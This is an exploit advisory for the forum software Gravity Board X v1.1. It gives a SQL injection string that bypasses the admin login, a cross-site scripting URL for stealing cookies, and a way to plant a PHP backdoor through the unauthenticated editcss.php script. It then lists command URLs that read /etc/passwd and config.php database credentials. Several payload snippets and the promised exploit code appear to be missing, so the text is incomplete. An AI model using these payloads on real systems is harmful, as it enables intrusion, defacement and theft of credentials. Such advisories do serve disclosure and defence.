4.22 07/08/2005
Gravity Board X v1.1 (possibly prior versions)
Remote code execution, SQL Injection / Login Bypass, cross site scripting, path
disclosure poc
software:
author site: http://www.gravityboardx.com/
a) Sql Injection / Login Bypass:
A user can bypass login check and grant administrator privileges on target
system:
login: ' or isnull(1/0) /*
password: whatever
b) Cross site scripting poc:
b.1)After he login as administrator he can edit template to insert evil javascript
code. Try to insert at the end of the template these lines:
b.2)A user can craft a malicious url like this to access target user cookies:
http://[target]/[path]/deletethread.php?board_id=">
c) Remote commands/php code execution:
c.1) Editing the template, attacker can leave a backdoor in target system,
example, at the end of template:
After, the attacker can launch commands by this urls:
http://[target]/[path]/index.php?cmd=ls%20-la
to list directories...
http://[target]/[path]/index.php?cmd=cat%20/etc/passwd
to see Unix /etc/passwd file
http://[target]/[path]/index.php?cmd=cat%20config.php
to see database username/password
c.2) An IMPORTANT NOTE: You can edit template without to be logged in as administator, calling
editcss.php script, look at the code of this script:
if($fp = fopen('gbxfinal.css','w')){
fwrite($fp, $csscontent);
fclose($fp);
echo '';
}else{
echo 'Gravity Board X was unable to save changes to the CSS template.';
}
a user can easily deface the forum and/or insert a backdoor calling an url like this:
http://[target]/[path]/editcss.php?csscontent=
then execute commands:
http://[target]/[path]/index?cmd=[command]
this my php exploit code, run it from Apache:
Gravity Board X v1.1 remote commands execution
Gravity Board X v1.1 (possibly prior versions) remote commands execution